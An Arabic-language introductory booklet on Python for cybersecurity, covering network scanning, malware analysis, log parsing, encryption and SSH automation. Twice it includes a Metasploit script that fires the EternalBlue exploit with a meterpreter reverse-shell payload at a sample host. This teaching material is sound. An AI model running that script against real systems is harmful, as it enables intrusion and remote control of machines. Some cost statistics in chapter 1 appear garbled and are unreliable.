https://simplifycpp.org

لغة بايثون
السلاح الأمثل في الأمن السيبراني

إعداد: أيمن الحراكي

بايثون: السلاح الأمثل في الأمن السيبراني

تمت الاستعانة بأدوات ذكاء اصطناعي حديثة في بعض مراحل الصياغة واستكشاف الأفكار، وذلك تحت إشراف كامل، مع المراجعة والتحقق والتصحيح، مع احتفاظ المؤلف الكامل بحقوق التأليف والمسؤولية العلمية.

إعداد : أيمن الحراكي

simplifycpp.org

فبراير 2026

المحتويات

مقدمة المؤلف

في عالمٍ يتجه بوتيرة متسارعة نحو الرقمنة، أصبح أمن المعلومات أحد الأركان الأساسية لحماية البيانات والشبكات من التهديدات المتزايدة. ومع تطور التقنيات وتنامي الاعتماد على الأنظمة الرقمية، تبرز الحاجة إلى أدوات فعّالة وسهلة الاستخدام لمواجهة هذه التحديات. وهنا تبرز بايثون كلغة برمجة قوية ومرنة، تقدم حلاً مثاليًا لكل من يهتم بمجال أمن المعلومات.

يستهدف هذا الكتيّب كل من يرغب في استخدام لغة بايثون في مجال أمن المعلومات، سواء كنت في بداية طريقك أو تمتلك خبرة احترافية. فبايثون ليست مجرد لغة برمجة عادية، بل أداة قوية تمكّنك من بناء حلول أمنية مبتكرة بكفاءة عالية. كما تُعرف ببساطتها وسهولة تعلّمها، الأمر الذي جعلها الخيار الأول للعديد من المختصين في الأمن السيبراني.

لماذا بايثون؟

تُعد بايثون واحدة من أسهل لغات البرمجة استخدامًا، إذ تتميز ببنية نحوية بسيطة وواضحة تجعلها مناسبة جدًا للمبتدئين. إلى جانب ذلك، تمتلك بايثون منظومة ضخمة من المكتبات التي تغطي تقريبًا جميع المجالات، ومن بينها أمن المعلومات. فمن تحليل الشبكات، إلى اكتشاف الثغرات، ومن تحليل البرمجيات الخبيثة، إلى أتمتة المهام الأمنية، توفر بايثون الأدوات اللازمة لتنفيذ هذه المهام بكفاءة ومرونة.

ماذا يقدّم هذا الكتيّب؟

يهدف هذا الكتيّب إلى تبسيط المفاهيم المعقّدة وتقديمها بأسلوب واضح ومختصر. لن تجد هنا تفاصيل تقنية معقّدة أو شروحات مطوّلة بلا داعٍ، بل ستجد عرضًا مركزًا لأهم الخصائص والأدوات التي يمكن توظيفها في مجال أمن المعلومات باستخدام لغة بايثون.
سيتناول هذا الكتيّب الموضوعات التالية:

- أساسيات لغة بايثون وكيفية توظيفها في أمن المعلومات.
- المكتبات الأساسية مثل Scapy و Nmap و PyCryptodome وغيرها.
- التطبيقات العملية مثل تحليل الشبكات، واكتشاف الثغرات، وأتمتة المهام الأمنية.
- أمثلة واقعية تساعدك على فهم كيفية تطبيق بايثون في سيناريوهات أمنية مختلفة.

لمن هذا الكتيّب؟

هذا الكتيّب موجّه إلى:

- المبتدئين الذين يرغبون في تعلّم كيفية استخدام بايثون في مجال أمن المعلومات.
- المحترفين الباحثين عن أدوات جديدة لتعزيز كفاءتهم في مجال الأمن السيبراني.
- الطلاب الدارسين لأمن المعلومات والراغبين في تطبيق ما يتعلّمونه باستخدام لغة برمجة سهلة وفعّالة.

هدف الكتيّب

الهدف الرئيسي من هذا الكتيّب هو تمكينك من استخدام لغة بايثون كأداة قوية في مجال أمن المعلومات. سواء كنت تسعى إلى بناء أدواتك الأمنية الخاصة، أو أتمتة المهام الروتينية، أو تحليل البيانات الأمنية، فإن هذا الكتيّب سيكون دليلك العملي لتحقيق ذلك.

فبايثون ليست مجرد لغة برمجة، بل بوابة للإبداع والابتكار في عالم الأمن السيبراني. ومن خلال هذا الكتيّب، ستكتشف كيف يمكنك توظيف بايثون لتحقيق أهدافك الأمنية بسهولة وكفاءة.

للتواصل، أو إرسال الملاحظات، أو تقديم المقترحات:

البريد الإلكتروني: info@simplifycpp.org

أو عبر صفحة المؤلف على:

https://www.linkedin.com/in/aymanalheraki

آمل أن يحظى هذا العمل باستحسان القرّاء وأن يحقق الفائدة المرجوّة.

أيمن الحراكي

الفصل ١: مقدمة إلى بايثون في الأمن السيبراني

١.١ الأهمية المتزايدة للأمن السيبراني

الفصل الأول: مقدمة إلى بايثون في الأمن السيبراني
في العصر الرقمي الحالي، أصبح الأمن السيبراني أحد الأعمدة الأساسية للمجتمع الحديث. فمع التطور المتسارع للتكنولوجيا، تتطور بالتوازي معها التهديدات التي تستهدف الأنظمة الرقمية. بدءًا من اختراق البيانات الشخصية، وصولاً إلى الهجمات السيبرانية واسعة النطاق التي تستهدف الشركات الكبرى والمؤسسات الحكومية، لم تعد الحاجة إلى إجراءات أمنية قوية خيارًا إضافيًا، بل أصبحت ضرورة حتمية.
يستعرض هذا القسم الأهمية المتزايدة للأمن السيبراني، والتحديات التي يواجهها المتخصصون في هذا المجال، وكيف برزت لغة Python كأداة فعالة وقوية لمعالجة هذه التحديات الحديثة.

١.١.١ التحول الرقمي ومخاطره

يشهد العالم تحولاً رقميًا سريع الوتيرة. تعتمد الشركات والحكومات والأفراد بشكل متزايد على التكنولوجيا في مجالات الاتصال، والتجارة، وإدارة البنى التحتية الحيوية. ورغم ما وفره هذا التحول من سهولة وكفاءة غير مسبوقة، إلا أنه أدخل معه مخاطر أمنية جسيمة، من أبرزها:

- اتساع سطح الهجوم: مع تزايد عدد الأجهزة المتصلة بالإنترنت مثل IoT، تضاعفت نقاط الدخول المحتملة للهجمات السيبرانية.
- تعقيد التهديدات: يستخدم المهاجمون تقنيات متقدمة مثل الهجمات المعتمدة على الذكاء الاصطناعي، وبرمجيات الفدية Ransomware، وثغرات Zero-Day.
- اختراق البيانات: أصبحت البيانات الحساسة، بما في ذلك المعلومات الشخصية والسجلات المالية والملكية الفكرية، عرضة للسرقة أو التسريب المستمر.

تُبرز هذه المخاطر الحاجة الملحة إلى استراتيجيات أمن سيبراني فعالة لحماية الأصول الرقمية والحفاظ على الثقة في الأنظمة التقنية.

٢.١.١ التكلفة المتصاعدة للهجمات السيبرانية

تُعد الخسائر المالية والمعنوية الناتجة عن الهجمات السيبرانية هائلة ومتزايدة. وتشير الدراسات الحديثة إلى ما يلي:

- من المتوقع أن تصل التكلفة العالمية للجريمة السيبرانية إلى 5.10 تريليون دولار سنويًا بحلول عام 2025.
- تتحمل الشركات متوسط تكلفة يُقدَّر بـ 45.4 مليون دولار لكل حادثة اختراق بيانات.
- تُعد الشركات الصغيرة والمتوسطة الأكثر تضررًا، حيث إن 60% من الشركات الصغيرة تُغلق خلال ستة أشهر بعد التعرض لهجوم سيبراني.

ولا تقتصر هذه الخسائر على الجانب المالي فحسب، بل تمتد لتشمل:

- فقدان ثقة العملاء: تؤدي اختراقات البيانات إلى تآكل ثقة المستخدمين وإلحاق ضرر طويل الأمد بسمعة المؤسسات.
- العواقب القانونية والتنظيمية: قد تواجه المؤسسات غرامات وعقوبات نتيجة عدم الامتثال لتشريعات حماية البيانات مثل GDPR وCCPA.

- تعطيل العمليات: يمكن للهجمات السيبرانية أن تُشل الأنظمة الحيوية، مما يؤدي إلى توقف العمل وفقدان الإنتاجية.

٣.١.١ مشهد التهديدات المتغير

يتغير مشهد الأمن السيبراني باستمرار مع ظهور تهديدات جديدة بشكل يومي. ومن أبرز هذه التهديدات:

- هجمات الفدية: يقوم المهاجمون بتشفير بيانات المؤسسة والمطالبة بفدية مالية مقابل فك التشفير.
- التصيد الاحتيالي والهندسة الاجتماعية: استخدام أساليب خداعية لإقناع المستخدمين بالكشف عن معلومات حساسة.
- التهديدات المستمرة المتقدمة (APTs): هجمات طويلة الأمد ومعقدة، غالبًا ما تكون مدعومة من جهات حكومية.
- ثغرات إنترنت الأشياء: أدى الانتشار الواسع للأجهزة الذكية إلى توسيع نطاق الهجمات المحتملة.

٤.١.١ دور بايثون في مواجهة تحديات الأمن السيبراني

برزت Python كلغة محورية في مجال الأمن السيبراني، بفضل بساطتها ومرونتها ونظام مكتباتها الواسع. وتتمثل أهم أدوارها في:

- التطوير السريع للأدوات الأمنية.
- أتمتة المهام المتكررة مثل تحليل السجلات.
- التكامل السلس مع أدوات ومنصات أمنية أخرى.
- الاعتماد على مجتمع دعم نشط.

١.١.٥ أمثلة واقعية على اختراقات سيبرانية

تُبرز الحوادث الواقعية التالية الأثر المدمر للهجمات السيبرانية:

- Equifax (2017): أدى خلل أمني إلى تسريب بيانات 147 مليون مستخدم.
- WannaCry (2017): هجوم فدية عالمي أصاب أكثر من 200,000 جهاز في 150 دولة.
- SolarWinds (2020): هجوم على سلسلة التوريد استهدف مؤسسات حكومية وشركات كبرى.

١.١.٦ الخلاصة: الحاجة إلى بايثون في الأمن السيبراني

مع التوسع المستمر في الفضاء الرقمي، تتزايد أهمية الأمن السيبراني. وتفرض طبيعة التهديدات الحديثة حلولاً مرنة وفعالة، وقد أثبتت Python أنها أداة لا غنى عنها في هذا المجال.

٢.١ لماذا تُعد بايثون اللغة المفضلة لمحترفي الأمن السيبراني

١.٢.١ البساطة وسهولة القراءة

تتميز Python ببنية لغوية بسيطة وسهلة القراءة، مما يسمح لمتخصصي الأمن بالتركيز على حل المشكلات بدلاً من الانشغال بتعقيدات اللغة.

```
print("Hello, World!")
```

```
public class Main {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}
```

٢.٢.١ الأتمتة وتحليل الشبكات

```
import nmap

scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', '22-443')
print(scanner.all_hosts())
```

١.٣ نظرة عامة على قدرات بايثون في الأمن السيبراني

١.٣.١ تحليل الشبكات ومعالجة الحزم

```
from scapy.all import *
ping = IP(dst="192.168.1.1") / ICMP()
response = sr1(ping, timeout=2)
response.show()
```

٢.٣.١ تحليل البرمجيات الخبيثة

```
import pefile
pe = pefile.PE('malware.exe')
print(pe.dump_info())
```

٣.٣.١ الأتمتة والاستجابة للحوادث

```
with open('access.log') as logfile:
    for line in logfile:
        if '404' in line:
            print(line)
```

٤.٣.١ اختبار الاختراق

يُعد اختبار الاختراق Penetration Testing أسلوبًا استباقيًا يهدف إلى اكتشاف الثغرات الأمنية واستغلالها بطريقة منضبطة لتقييم قوة الأنظمة الدفاعية. توفر Python مجموعة واسعة من الأدوات والمكتبات التي تُستخدم في الاختراق الأخلاقي وتحليل نقاط الضعف.

- Framework Metasploit: يمكن استخدام بايثون للتفاعل مع إطار العمل Metasploit من أجل أتمتة الاستغلالات وتنفيذ الحمولات البرمجية.

مثال: استخدام بايثون لتنفيذ استغلال عبر Metasploit:

```
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1')
exploit = client.modules.use(
    'exploit',
    'windows/smb/ms17_010_eternalblue'
)
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(
    payload='windows/x64/meterpreter/reverse_tcp'
)
```

- Pwntools: مكتبة بايثون متخصصة في تطوير الاستغلالات وتحليل الملفات التنفيذية الثنائية، وتُستخدم على نطاق واسع في مسابقات CTF وكذلك في الاختبارات الواقعية.

مثال: استغلال ثغرة تجاوز سعة الذاكرة Buffer Overflow:

```
from pwn import *

conn = remote('example.com', 1234)
conn.sendline(b'A' * 100)
print(conn.recvall())
```

تُمكّن هذه الأدوات مختصي الأمن من محاكاة الهجمات الواقعية وتقييم قدرة الأنظمة على الصمود أمامها.

٥.٣.١ تحليل البرمجيات الخبيثة

تُستخدم Python على نطاق واسع في تحليل البرمجيات الخبيثة، حيث تتيح للباحثين الأمنيين فهم سلوك البرمجيات الضارة وآليات عملها الداخلية.

- pefile: مكتبة مخصصة لتحليل ملفات Portable Executable (PE) المستخدمة في أنظمة Windows.

  مثال: استخراج معلومات تفصيلية من ملف تنفيذي:

```
import pefile

pe = pefile.PE('malware.exe')
print(pe.dump_info())
```

- yara-python: مكتبة لتطبيق قواعد YARA، والتي تُستخدم لتصنيف البرمجيات الخبيثة بناءً على أنماط سلوكية وتوقيعات محددة.

  مثال: فحص ملف بحثًا عن توقيعات خبيثة:

```
import yara

rules = yara.compile(filepath='malware_rules.yar')
matches = rules.match('suspicious_file.exe')
print(matches)
```

تساعد هذه الأدوات في بناء فهم أعمق للتهديدات وتطوير وسائل دفاع فعالة ضدها.

٦.٣.١ أتمتة العمليات الأمنية

تُعد الأتمتة عنصرًا أساسيًا في الأمن السيبراني الحديث، وقد أثبتت Python تفوقها في هذا المجال من خلال تبسيط المهام المتكررة وتقليل الاعتماد على التدخل البشري.

- تحليل السجلات: يمكن استخدام بايثون لتحليل ملفات السجلات واكتشاف الأنشطة المشبوهة.

مثال: تحليل سجلات خادم ويب لاكتشاف محاولات المسح:

```
with open('access.log') as logfile:
    for line in logfile:
        if '404' in line:
            print(line)
```

- الاستجابة للحوادث: أتمتة إجراءات الاستجابة مثل حظر عناوين IP الضارة.

مثال: إضافة قاعدة جدار ناري لحظر عنوان ضار:

```
import os

malicious_ip = '192.168.1.100'
os.system(
    f'iptables -A INPUT -s {malicious_ip} -j DROP'
)
```

- مراقبة الشبكة: مراقبة حركة الشبكة بشكل لحظي والتنبيه عند اكتشاف أنماط غير طبيعية.

مثال: اكتشاف حركة SSH باستخدام Scapy:

```
from scapy.all import sniff

def packet_callback(packet):
    if packet.haslayer('TCP') and packet['TCP'].dport == 22:
        print(
            f"SSH traffic detected from {packet['IP'].src}"
        )
```

```
sniff(prn=packet_callback, count=10)
```

٧.٣.١ جمع معلومات المصادر المفتوحة (OSINT)

تلعب معلومات المصادر المفتوحة Open Source Intelligence (OSINT) دورًا مهمًا في تحليل التهديدات الاستباقي، وتُعد Python أداة مثالية لهذا الغرض.

- BeautifulSoup: مكتبة لاستخلاص البيانات من صفحات الويب.

مثال: استخراج الروابط من صفحة ويب:

```
from bs4 import BeautifulSoup
import requests

url = "https://example.com"
page = requests.get(url)
soup = BeautifulSoup(page.content, "html.parser")

for link in soup.find_all('a'):
    print(link.get('href'))
```

- Requests: مكتبة لإرسال طلبات HTTP والتفاعل مع واجهات API.

مثال: الاستعلام عن خدمة استخبارات تهديدات:

```
import requests

response = requests.get(
    "https://api.threatintel.com/ip/192.168.1.100"
)
print(response.json())
```

٨.٣.١ التشفير وحماية البيانات

توفر Python مكتبات قوية لتنفيذ الخوارزميات التشفيرية وضمان سرية البيانات وسلامتها.

- PyCryptodome: مكتبة تدعم خوارزميات تشفير متعددة مثل AES وRSA.

مثال: تشفير رسالة باستخدام AES:

```
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(
    b'Hello, Cyber Security!'
)
print(ciphertext)
```

- hashlib: مكتبة لتوليد القيم التجزئية Hash والتحقق من سلامة البيانات.

مثال: توليد قيمة SHA-256:

```
import hashlib

hash_object = hashlib.sha256(
    b'Hello, Cyber Security!'
)
print(hash_object.hexdigest())
```

١.٣.٩ الخلاصة: تعدد قدرات بايثون في الأمن السيبراني

تُعد Python أداة شاملة في مجال الأمن السيبراني، إذ تمتد قدراتها من تحليل الشبكات واختبار الاختراق، إلى تحليل البرمجيات الخبيثة وأتمتة العمليات الأمنية.

من خلال الاستفادة من هذه القدرات، يستطيع مختصو الأمن السيبراني تعزيز كفاءتهم، وتقليل زمن الاستجابة للحوادث، والمساهمة في بناء بيئة رقمية أكثر أمانًا. وفي الفصول القادمة، سيتم التعمق في هذه التطبيقات بشكل عملي ومفصل.

الفصل ٢: لماذا بايثون في الأمن السيبراني؟

١.٢ سهولة التعلّم والاستخدام

تُعد سهولة تعلّم بايثون واستخدامها من أهم الأسباب التي جعلتها اللغة المفضلة لمختصي الأمن السيبراني. فبنيتها البسيطة، وقابليتها العالية للقراءة، وقدرتها على النمذجة السريعة، تجعلها مناسبة لكلٍّ من المبتدئين والمطوّرين ذوي الخبرة. في هذا القسم، نستعرض كيف يشكّل التصميم السهل لبايثون عاملاً فارقًا في مجال الأمن السيبراني، مع مقارنتها بلغات أخرى مثل C وJava، وبيان مزاياها في النمذجة السريعة للمهام الأمنية.

١.١.٢ البنية البسيطة وسهولة القراءة

تشتهر بايثون ببنيتها النظيفة والبديهية التي تركّز على الوضوح والبساطة، مما يجعلها خيارًا مثاليًا لمختصي الأمن السيبراني الذين يحتاجون إلى كتابة الشيفرة وتصحيحها وصيانتها بكفاءة عالية.

أهم خصائص بنية بايثون

- الاعتماد على الإزاحة (Indentation): تستخدم بايثون الإزاحة لتحديد كتل الشيفرة، دون الحاجة إلى أقواس معقّدة، مما يجعل الشيفرة واضحة بصريًا وسهلة التتبّع.
- صياغة قريبة من اللغة البشرية: صُمّمت بايثون لتكون قريبة من أسلوب التفكير البشري، ما يسهّل قراءتها وكتابتها.

- تقليل الشيفرة التمهيدية: تتطلب بايثون عدداً أقل من الأسطر لإنجاز نفس المهام مقارنةً بلغات أخرى، مما يقلل احتمالية الأخطاء.

مثال: مقارنة حلقة تكرار بسيطة في بايثون وC:

```python
# Python
for i in range(5):
    print(i)
```

```c
// C
#include <stdio.h>
int main() {
    for (int i = 0; i < 5; i++) {
        printf("%d\n", i);
    }
    return 0;
}
```

تتيح بساطة بايثون لمختصي الأمن السيبراني التركيز على حل المشكلة نفسها بدل الانشغال بتعقيدات اللغة.

٢.١.٢ مقارنة مع لغات أخرى (C، Java)

تبرز بساطة بايثون بشكل واضح عند مقارنتها بلغات مثل C و Java، والتي تتطلب عادة شيفرة أطول وتعقيداً أكبر. وفيما يلي مقارنة في سياق المهام الأمنية.

بايثون مقابل C

- سهولة الاستخدام: توفّر بايثون تجريداً عالي المستوى، بينما تتطلب C إدارة يدوية للذاكرة وتعاملاً منخفض المستوى.

- سرعة التطوير: تتيح بايثون تطوير الحلول بسرعة، في حين تحتاج C إلى وقت أطول للكتابة والتصحيح.
- مجالات الاستخدام: تُعد C مناسبة للمهام الحساسة للأداء (مثل تطوير الاستغلالات أو الأدوات منخفضة المستوى)، بينما تتفوّق بايثون في الأتمتة والنمذجة السريعة.

مثال: برنامج بسيط للاتصال بخادم باستخدام المقابس (Sockets):

```python
# Python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('example.com', 80))
s.sendall(b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n')
print(s.recv(4096))
```

```c
// C
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main() {
    int clientSocket;
    char buffer[1024];
    struct sockaddr_in serverAddr;

    clientSocket = socket(PF_INET, SOCK_STREAM, 0);
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(80);
    serverAddr.sin_addr.s_addr = inet_addr("93.184.216.34");
```

```
    memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);

    connect(clientSocket, (struct sockaddr *) &serverAddr,
    ↪  sizeof(serverAddr));
    send(clientSocket, "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n", 37, 0);
    recv(clientSocket, buffer, 1024, 0);
    printf("Data received: %s", buffer);
    return 0;
}
```

تجعل بساطة بايثون وقابليتها للقراءة منها الخيار الأنسب لمعظم مهام الأمن السيبراني التي تتطلب سرعة في التنفيذ وسهولة في التطوير.

بايثون مقابل Java

- الإسهاب: تتطلب Java شيفرة تمهيدية أطول، بينما تتميز بايثون بالاختصار والوضوح.
- المرونة: تعتمد بايثون على الأنواع الديناميكية، مما يسرّع عملية التطوير مقارنةً بـ Java ذات الأنواع الساكنة.
- مجالات الاستخدام: تُستخدم Java بكثرة في التطبيقات المؤسسية، بينما تتفوّق بايثون في السكربتات والأتمتة.

مثال: تنفيذ طلب HTTP في بايثون وJava:

```
# Python
import requests
response = requests.get("https://example.com")
print(response.text)
```

```java
// Java
import java.net.*;
import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        URL url = new URL("https://example.com");
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("GET");
        BufferedReader in = new BufferedReader(
            new InputStreamReader(conn.getInputStream()));
        String inputLine;
        while ((inputLine = in.readLine()) != null) {
            System.out.println(inputLine);
        }
        in.close();
    }
}
```

٣.١.٢ النمذجة السريعة للمهام الأمنية

في مجال الأمن السيبراني، غالبًا ما يكون الوقت عاملاً حاسمًا. وتُعد قدرة بايثون على النمذجة السريعة من أبرز نقاط قوتها، حيث تمكّن المختصين من تطوير الحلول واختبارها بسرعة.

مزايا النمذجة السريعة باستخدام بايثون

- التجريب السريع: تتيح واجهة REPL اختبار الشيفرة فوراً.
- منظومة مكتبات غنية: توفر حلولاً جاهزة تقلل زمن التطوير.

- قدرات السكربتة: تسهّل أتمتة المهام والتكامل مع الأدوات القائمة.

مثال: إنشاء ماسح منافذ بسيط بسرعة باستخدام بايثون:

```
import socket

def scan_port(ip, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((ip, port))
        if result == 0:
            print(f"Port {port} is open")
        sock.close()
    except Exception as e:
        print(f"Error scanning port {port}: {e}")

target_ip = "192.168.1.1"
for port in range(1, 1025):
    scan_port(target_ip, port)
```

يمكن كتابة هذا السكربت واختباره خلال دقائق، وهو ما يبرز كفاءة بايثون في النمذجة السريعة.

٤.١.٢ الخلاصة: سهولة بايثون في الأمن السيبراني

إن بساطة بايثون، وسهولة قراءتها، وقدرتها على النمذجة السريعة تجعلها خيارًا مثاليًا لمختصي الأمن السيبراني، سواء كانوا في بداية الطريق أو يعملون على مهام أمنية معقّدة. فسهولة اللغة تتيح التركيز على حل المشكلات بدل الانشغال بتعقيدات تقنية.
ومن خلال استثمار هذه المزايا، يستطيع مختصو الأمن السيبراني تطوير الأدوات، وأتمتة المهام، والاستجابة للتهديدات بكفاءة أعلى. وفي الأقسام التالية، سنستعرض مزايا أخرى لبايثون مثل

منظومة مكتباتها الواسعة وتوافقها مع مختلف المنصات، مما يعزز مكانتها كلغة حاسمة في الأمن السيبراني.

٢.٢ نطاق واسع من المكتبات والأدوات

الفصل الثاني: لماذا بايثون للأمن السيبراني؟
يُعد النظام البيئي الغني للمكتبات والأدوات في Python أحد أعظم نقاط قوتها، إذ يجعلها منصة متكاملة لمتخصصي الأمن السيبراني. توفر هذه المكتبات حلولاً جاهزة لمجموعة واسعة من المهام، بدءًا من اختبار الاختراق وتحليل البرمجيات الخبيثة، وصولاً إلى الأتمتة وتحليل البيانات. يسلّط هذا القسم الضوء على هذا النظام البيئي الواسع، ويوضح كيف يُبسّط المهام المعقدة ويمكّن المختصين من العمل بكفاءة أعلى.

١.٢.٢ نظرة عامة على النظام البيئي لبايثون

يمتاز النظام البيئي لبايثون باتساعه واستمراره في النمو، حيث يضم آلاف المكتبات والأطر المصممة لمهام محددة. ويدعم هذا النظام مجتمعٌ نشط من المطورين يساهمون في مشاريع مفتوحة المصدر، مما يضمن بقاء بايثون في طليعة الابتكار في مجال الأمن السيبراني.

الخصائص الأساسية للنظام البيئي لبايثون

- مكتبات مفتوحة المصدر: معظم مكتبات بايثون مفتوحة المصدر، ويمكن استخدامها وتعديلها بحرية لتلبية احتياجات محددة.
- توافق متعدد المجالات: لا تقتصر مكتبات بايثون على الأمن السيبراني فقط، بل تمتد إلى مجالات مثل علم البيانات وتطوير الويب والتعلم الآلي، مما يتيح حلولاً متعددة التخصصات.
- دعم المجتمع: يوفر مجتمع بايثون وثائق شاملة ودروسًا تعليمية ومنتديات دعم، مما يسهل العثور على الحلول والموارد.

يُمكّن هذا النظام الغني مختصي الأمن من الاستفادة من أدوات جاهزة والتركيز على حل المشكلات بدلاً من إعادة بناء الأدوات من الصفر.

٢.٢.٢ حلول جاهزة للاختبار الاختراق

يُعد اختبار الاختراق عنصرًا محوريًا في الأمن السيبراني، وتوفر بايثون مكتبات وأدوات متعددة لمحاكاة الهجمات واكتشاف الثغرات الأمنية.

أهم مكتبات اختبار الاختراق

- Scapy: مكتبة قوية لمعالجة وتحليل حزم الشبكة، تتيح إنشاء الحزم وإرسالها وتعديلها، وتُستخدم في مهام مثل اختبار الجدران النارية وفحص الثغرات.

  مثال: إنشاء وإرسال حزمة TCP مخصصة:

```
from scapy.all import *

packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S")
response = sr1(packet, timeout=2)
response.show()
```

- python-nmap: واجهة لبرنامج Nmap تُستخدم في فحص الشبكات واكتشاف الأجهزة وتحليل المنافذ المفتوحة.

  مثال: فحص مجموعة منافذ على جهاز محدد:

```
import nmap

scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', '22-443')
print(scanner.all_hosts())
```

- Framework Metasploit: يمكن لبايثون التفاعل مع Metasploit لأتمتة الاستغلالات وتنفيذ الحمولات البرمجية.

مثال: تنفيذ استغلال باستخدام Metasploit:

```
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1')
exploit = client.modules.use(
    'exploit',
    'windows/smb/ms17_010_eternalblue'
)
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(
    payload='windows/x64/meterpreter/reverse_tcp'
)
```

٣.٢.٢ حلول جاهزة لتحليل البرمجيات الخبيثة

تُستخدم Python على نطاق واسع في تحليل البرمجيات الخبيثة، حيث تمكّن الباحثين من تفكيك الشيفرات الضارة وفهم سلوكها الداخلي.

أهم مكتبات تحليل البرمجيات الخبيثة

- pefile: مكتبة لتحليل ملفات Portable Executable (PE) الشائعة في برمجيات Windows.

مثال: استخراج معلومات من ملف تنفيذي:

```
import pefile

pe = pefile.PE('malware.exe')
print(pe.dump_info())
```

- yara-python: مكتبة لإنشاء وتطبيق قواعد YARA لتصنيف البرمجيات الخبيثة.

مثال: فحص ملف باستخدام قواعد YARA:

```
import yara

rules = yara.compile(filepath='malware_rules.yar')
matches = rules.match('suspicious_file.exe')
print(matches)
```

- Capstone: إطار خفيف متعدد المنصات لتفكيك التعليمات Disassembly وتحليل الملفات الثنائية.

مثال: تفكيك شيفرة ثنائية:

```
from capstone import *

code = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"
md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in md.disasm(code, 0x1000):
    print(
        f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}"
    )
```

٤.٢.٣ حلول جاهزة للأتمتة

تُعد الأتمتة حجر الأساس في الأمن السيبراني الحديث، وقد أثبتت بايثون تفوقها في هذا المجال من خلال تبسيط المهام المتكررة وتقليل الأخطاء البشرية.

أهم مكتبات الأتمتة

- Paramiko: مكتبة لتنفيذ بروتوكول SSH وأتمتة إدارة الخوادم البعيدة.

مثال: تنفيذ أمر عن بُعد:

```
import paramiko

client = paramiko.SSHClient()
client.set_missing_host_key_policy(
    paramiko.AutoAddPolicy()
)
client.connect(
    '192.168.1.1',
    username='user',
    password='password'
)
stdin, stdout, stderr = client.exec_command('ls -l')
print(stdout.read().decode())
client.close()
```

- Fabric: مكتبة عالية المستوى لتبسيط مهام SSH وإدارة الأنظمة.

مثال: تنفيذ أمر باستخدام Fabric:

```
from fabric import Connection

result = Connection('192.168.1.1').run(
    'ls -l',
    hide=True
)
print(result.stdout)
```

- Schedule: مكتبة لجدولة المهام على فترات زمنية محددة.

مثال: جدولة مهمة تحليل يومية:

```
import schedule
import time

def analyze_logs():
    print("Analyzing logs...")

schedule.every().day.at("10:00").do(analyze_logs)

while True:
    schedule.run_pending()
    time.sleep(1)
```

٥.٢.٣ الخلاصة: غنى نظام بايثون البيئي في الأمن السيبراني

يوفر النظام البيئي الغني لبايثون حلولاً جاهزة لمجموعة واسعة من مهام الأمن السيبراني، من اختبار الاختراق وتحليل البرمجيات الخبيثة، إلى الأتمتة وتحليل البيانات. وتمكّن هذه المكتبات المختصين من العمل بكفاءة أعلى، مع توفير الوقت والجهد في مواجهة التحديات المعقدة.

٣.٢ المرونة والتوافق

الفصل الثاني: لماذا بايثون للأمن السيبراني؟
تُعد المرونة والتوافق من أهم الأسباب التي جعلت Python خيارًا مفضلاً لدى محترفي الأمن السيبراني. إن قدرتها على العمل عبر منصات متعددة، والتكامل السلس مع لغات برمجة أخرى، يمنحها قابلية عالية للتكيف مع مختلف التحديات الأمنية. يستعرض هذا القسم دعم بايثون متعدد المنصات، وإمكانات التكامل، وتأثير ذلك في تعزيز فعاليتها ضمن بيئات الأمن السيبراني.

١.٣.٢ الدعم متعدد المنصات، (Windows، Linux، macOS)

تعمل Python على أنظمة تشغيل متعددة مثل Windows وLinux وmacOS، مما يجعلها أداة مرنة للغاية لمتخصصي الأمن السيبراني. يضمن هذا التوافق أن تعمل الأدوات والبرامج المكتوبة ببايثون في بيئات مختلفة دون الحاجة إلى تعديلات جوهرية.

مزايا الدعم متعدد المنصات

- انتقال سلس: يمكن تشغيل الشفرات المكتوبة على منصة ما على منصة أخرى مع تغييرات طفيفة أو دون تغييرات.
- التكيف مع البيئات المختلطة: يعمل مختصو الأمن غالبًا في بيئات غير متجانسة، وتضمن بايثون استخدام الأدوات نفسها عبر جميع الأنظمة.
- التوافق مع البيئات السحابية: يمتد دعم بايثون إلى منصات الحوسبة السحابية، مما يجعلها مناسبة لأمن البنى التحتية السحابية.

مثال: تشغيل سكربت بايثون على منصات مختلفة:

```
import platform

print(f"Running on: {platform.system()} {platform.release()}")
```

مكتبات خاصة بالمنصات
على الرغم من أن لغة بايثون نفسها متعددة المنصات، إلا أن بعض المكتبات تكون مخصصة لأنظمة تشغيل بعينها. ومع ذلك، يوفر النظام البيئي لبايثون بدائل مناسبة لمعظم المهام الخاصة بكل منصة.

- Windows: توفر مكتبات مثل pywin32 الوصول إلى واجهات برمجة التطبيقات الخاصة بنظام ويندوز.
- Linux: تتيح مكتبات مثل subprocess و os تنفيذ عمليات على مستوى النظام.
- macOS: تتكامل بايثون بسلاسة مع بيئة يونكس في نظام macOS، مما يسهّل الأتمتة والبرمجة النصية.

مثال: تنفيذ أوامر مختلفة حسب نظام التشغيل:

```
import os

if os.name == 'nt':       # Windows
    os.system('dir')
elif os.name == 'posix': # Linux / macOS
    os.system('ls')
```

